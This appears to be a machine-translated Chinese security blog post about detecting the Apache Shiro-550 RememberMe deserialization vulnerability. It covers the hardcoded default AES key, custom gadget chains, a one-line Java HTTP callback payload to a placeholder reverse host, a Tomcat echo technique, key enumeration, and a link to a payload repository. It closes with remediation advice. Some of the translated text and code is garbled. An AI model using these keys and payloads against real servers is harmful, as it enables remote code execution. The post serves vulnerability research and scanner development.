发布于2025年12月5日12月5日 ## 前言\r Shiro 是Apache 下的一个开源权限管理框架,提供开箱即用的身份验证、授权、密码套件和会话管理。该框架在2016年报告了一个著名的漏洞——Shiro-550,这就是RememberMe反序列化漏洞。四年过去了。该漏洞不仅没有陷入漏洞洪流,反而凭借其天然的WAF特性,从去年开始逐渐流行起来。它可能会成为今年硬件演习中的后起之秀。面对如此热门的漏洞,这篇文章我们就来说说我是如何从0到1完善这个漏洞的自动化检测的。\r \r ##漏洞原因\r 网上已经有很多相关分析。对于使用Shiro框架的Web应用程序,成功登录后的用户信息将被加密并存储在cookie中。稍后可以从cookie中读取用户认证信息,以达到“记住我”的目的。简要流程如下。 \r \r \r \r 在cookie读取过程中,使用AES来解密cookie值。对于AES等对称加密算法来说,一旦密钥泄露,加密就没用了。如果密钥可控且cookie值是攻击者构造的恶意payload,则可以绕过该过程并触发危险的Java反序列化。在Shiro 1.2.4及更早版本中,Shiro密钥是一个硬编码值`kPH+bIxk5D2deZiIxcaaaA==`,这就是Shiro-550漏洞的原因。但这个漏洞不仅仅存在于1.2.4版本中。后续版本的读取流程没有改变,这意味着只要秘钥泄露,仍然存在很高的风险。有趣的是,国内很多程序员习惯复制/粘贴,一些Github示例代码直接复制到项目中。这些例子中设置秘钥的代码也可能被带入项目中,这给安全人员提供了机会。后来出现的Shiro Top 100 Key就是根据这个原理收集的。这可能是该漏洞长期存在的一个侧面因素。 \r \r ## 反序列化使用链式净化\r Shiro是一个Java反序列化漏洞。要完成漏洞的利用,就离不开漏洞利用链的讨论。如果您之前尝试过重现此漏洞,那么您很可能使用过“CommonsCollections4”或“CommonsBeanutils”。例如,vulhub中此漏洞的目标站点使用后者作为小工具。作为Java 安全领域的新手,我对CommonsCollections 系列小工具之间的区别感到非常困惑。为什么这里只能使用上面两条链呢?上述利用链对于目标环境的适用性如何?如果这些问题不明确,漏洞检测就不可能进行。作为知识储备,我花了三分钟研究了常见的Java反序列化应用链,发现ysoserial中Commons相关的应用链均建模如下:\r \r \r 不同的利用链从不同的角度给我们提供了一些反序列化的思路。熟悉了这个规则后,我们完全可以自己组合一些其他的利用链。但我们不求更多的漏洞链,而是求精细化。少一个无用的漏洞利用链意味着少一次检测漏洞的尝试。于是我对原来的CommonsCollections1~7进行了浓缩和提纯,变成了以下四个新的利用链:\r - CommonsCollectionsK1(commons-Collections=3.2.1allowTemplates)\r - CommonsCollectionsK2(commons-Collections==4.0 allowedTemplates)\r - CommonsCollectionsK3(commons-Collections=3.2.1)\r - CommonsCollectionsK4(commons-Collections==4.0)\r \r 从分类上看,分为两组,一组是K1/K2,对应`TemplatesImpl`的情况,一组是K3/K4,对应`ChainedTransformer`的情况。这四条链不仅可以完全覆盖原有七条链支持的场景,而且在一些特殊场景中也能发挥作用。这些特殊场景包括接下来要讨论的Shiro情况。 \r \r ## 无意反序列化保护\r 做了这么多准备,我们还是没有弄清楚上一节提出的问题。现在是时候直面它了!稍微跟进一下源码就会发现,Shiro最终的反序列化调用并不是流行的`ObjectInputStream().readObject`,而是用`ClassResolvingObjectInputStream`封装了一层,并且在流的实现中重写了`resolveClass`方法!\r [](https://ctstack-oss.oss-cn-beijing.aliyuncs.com/shiro3.png)\r \r 我们发现应该调用Class.forName(name)的地方被几个ClassLoader.loadClass(name)代替了。两种加载类的方式有以下区别:\r \r - `forName`默认使用当前函数中的ClassLoader,`loadClass`的ClassLoader由您自己指定\r - `forName`类加载后,默认会自动对该Class进行初始化操作。 `loadClass` 只加载类,不执行初始化\r - `forName` 可以加载任何可以找到的对象数组,`loadClass` 只能加载本机(初始)类型的对象数组\r \r 这3点中,最后一点对我们漏洞利用影响最大。回顾上一节提到的规则,一些利用链的终点是“ChainedTransformer”。这个类的关键属性之一是“Transformer[] iTransformers”。当Shiro 的反序列化尝试加载这个Transformer 的Array 时,会报Class not found 错误,从而中断反序列化过程。这就是CommonsCollections大部分使用链不可用的关键原因。 \r \r 读代码可以感觉到,重载的resolveClass是为了支持从多个ClassLoader加载类,而不是为了反序列化保护。毕竟后续版本还没有看到W~~ebLogic式的黑名单添加然后绕过~~。这种无意识的行为,默默地阻止了无数无法解释的反序列化攻击。同时,两个漏洞利用链“CommonsCollections4”和“CommonsBeanutils”以“TemplatesImpl”为端点,避开了这一限制,使得该漏洞在渗透测试中很有用。 ysoserial中的`CommonsCollections4`只能在CC4.0版本中使用。我改进了这个利用链,使其同时支持CC3和CC4版本,形成了上面提到的两条链K1/K2。这两条链是我们应对Shiro环境的秘密武器。经过这些准备,我们已经从一个手无寸铁的书生摇身一变成为身法强悍的少林武僧,能够直击敌人的咽喉,一举拿下目标。万事俱备,只欠东风。 \r \r ## 东风从哪里来\r 我们的最终目标是实现Shiro 反序列化漏洞的可靠检测。我们回顾一下漏洞检测常用的两种方法,一种是回显,一种是反向连接。根据以上研究,我们可以利用`TemplatesTmpl`实现任意代码执行,只需要一行代码就可以实现一个HTTP反向连接Payload\r ``java\r 新URL(\'http://REVERSE-HOST\').openConnection().getContent();\r ````\r 当存在漏洞时,反连接平台会收到HTTP请求。与此类似的是“URLDNS”漏洞利用链,只不过它的反向连接是基于DNS 请求的。 JRMP相关方法在实战中也常用。我们可以使用类似于fastjson的方法来进行Shiro检测。不幸的是,当目标网站无法访问互联网时,这些方法就没用了,漏洞回显是解决这个问题的唯一方法。 \r \r Shiro 最常用的Web 中间件是Tomcat,因此我们的注意力转移到Tomcat echo。这个话题其实很多大师都研究过。李三大师甚至整理了一篇文章【网上无法回显的Tomcat连载】(https://xz.aliyun.com/t/7535)。研究了各个高手的结果后,发现公开的payloads都存在这样的问题:——无法回显完整版的Tomcat。这时,我想到了一个想法:能否挖出一条新的漏洞利用链,使其兼容Tomcat的所有主要版本?基于此,可以毫不费力地完成漏洞检测。然而,发现新的漏洞利用链并不容易。我担心我会陷入阅读Tomcat源码的漩涡中,并且可能无法爬出来。如果这个过程能够自动完成就好了!肯定有人做过自动化应用链挖矿。我不会是第一个。不,不。 \r \r 本着不重复发明轮子的原则,稍微搜索一下就不难发现。除了大名鼎鼎的[gadgetinspector](https://github.com/JackOfMostTrades/gadgetinspector)之外,还有c0y1大师写的[java-object-searcher](https://github.com/c0ny1/java-object-searcher),一款完美满足我当前需求的内存对象搜索工具。借助该工具,我发现Tomcat6、7、8、9各个版本中都存在一条漏洞利用链,只是不同版本中变量获取略有不同。大致流程如下:\r ````\r 当前线程- 线程组-\r for(线程) - 目标- this$0 - 处理程序- 全局- \r \tfor(处理器) - 请求- 响应\r ````\r 我不会详细介绍一些细节。简而言之,就是各种反射和try/catch。我已经尽力提高它对各种Tomcat环境的兼容性。我会在文章最后与大家分享这个结果。有了这个相对简单易用的回声负载,结合K1/K2触发反序列化过程,就创建了Xray高级版/商业版Shiro反序列化回声检测的核心逻辑。回声效果如下:\r \r ## 进入下一个级别\r 使用过Xray扫描XSS的同学应该有一定的经验。 Xray扫描到的XSS漏洞不一定会直接弹出,但相关参数一定有可控的代码注入。经常遇到网站有WAF但Xray仍然可以识别XSS。整个Shiro反序列化过程,每一步都在针尖上跳舞。如果你犯了一个错误,你之前的所有努力都将付诸东流。如果目标站点部署了RASP等主机保护手段,很可能会导致反序列化中断并通过RCE。有没有办法像xss一样显着提高其检测能力的下限?和l1nk3r大师交流后,提到了一个非常好的检测Shiro Key的方法。据说原理来自`shiro_tool.jar`。具体可以参考这篇文章【另一种shiro检测方法】(https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ)。我在这里简单总结一下结论。使用空的“SimplePrincipalCollection”作为有效负载。序列化后,使用待检测的密钥加密发送。正确和错误密钥的响应行为是不同的。您可以使用此方法可靠地枚举Shiro 当前使用的密钥。密钥错误\r \r 当密钥正确时\r \r \r 通过这种方法,我们可以将Shiro 的检测分为两个步骤: \r 1. 检测Shiro Key。如果检测成功,会报告密钥可枚举的漏洞;如果检测失败,则直接结束逻辑\r 2、使用上一步获得的Shiro Key尝试Tomcat echo。如果成功,将报告远程代码执行漏洞\r \r 由于第一步检测依赖于Shiro自身的代码逻辑,因此完全不受环境影响。只要目标使用的秘钥在我们要枚举的列表中,那么至少可以枚举出Key,这大大提高了漏洞检测的下限。另外一个小插曲是,有些网站不能根据deleteMe是否存在来判断,而是需要根据deleteMe的数量来判断。例如,如果密钥错误,则返回两个“deleteMe”,否则返回一个“deleteMe”。之前我没有考虑过这种情况,所以后来我发布了一个小版本的xray来修复这个问题。 \r \r ## 万剑归宗\r 看到这里,你肯定已经修炼了三十年的功力,迫不及待地想要冲进人间一显身手了。但好马还需好鞍,漏洞测试也需要一个好用的工具来辅助。自动化上述整个过程并不只是发送请求那么简单。我仅列出一些细节。你可以想想如何处理这些小问题:\r - 如何判断目标站点是否是Shiro,以及如何识别Nginx反向分离静态和动态信息的站点? \r - 如何避免Java依赖并纯粹用其他语言实现? \r - 如何防止payload过长超出Tomcat Header的大小限制? \r - 如何让Payload兼容JDK6环境? \r - 如果`CommonsBeanutils`中的类的`serialVersionUID`没有设置,会对小工具产生什么影响? \r - 如何识别和处理Cookie key不是`rememberMe`的情况? \r \r 我想我已经比较科学地解决了这些小问题,并将以上研究成果全部浓缩到了Xray的Shiro检测插件中。如果有什么细节我没有注意到的地方,希望大家指正。 X射线站在巨人的肩膀上。如果从社区获取,就必须使用社区。我已将文章中提到的相关小工具和有效负载同时放在[https://github.com/zema1/ysoserial](https://github.com/zema1/ysoserial)。欢迎大家和我一起学习讨论。唯一希望的是,转载或二次研究时请保留版权。如果您想免费获得它,不是吗,先生? \r \r 最后我们来说说如何修复这个漏洞。官方推荐的方法是放弃默认的秘钥,自己随机生成一个。这个方法固然有效,但是我觉得在代码层面还可以做得更好。如果我们能够使用白名单来验证resolveClass中要加载的类,是否可以完全避免恶意反序列化的发生呢?既然无意识插入的有效性已经有了,为什么不顺其自然,从源代码层面消除这个问题呢? \r \r 安全之路漫漫,唯有星辰相伴。愿你们都成为黑暗森林中闪亮的星星,互相鼓励。
创建帐户或登录后发表意见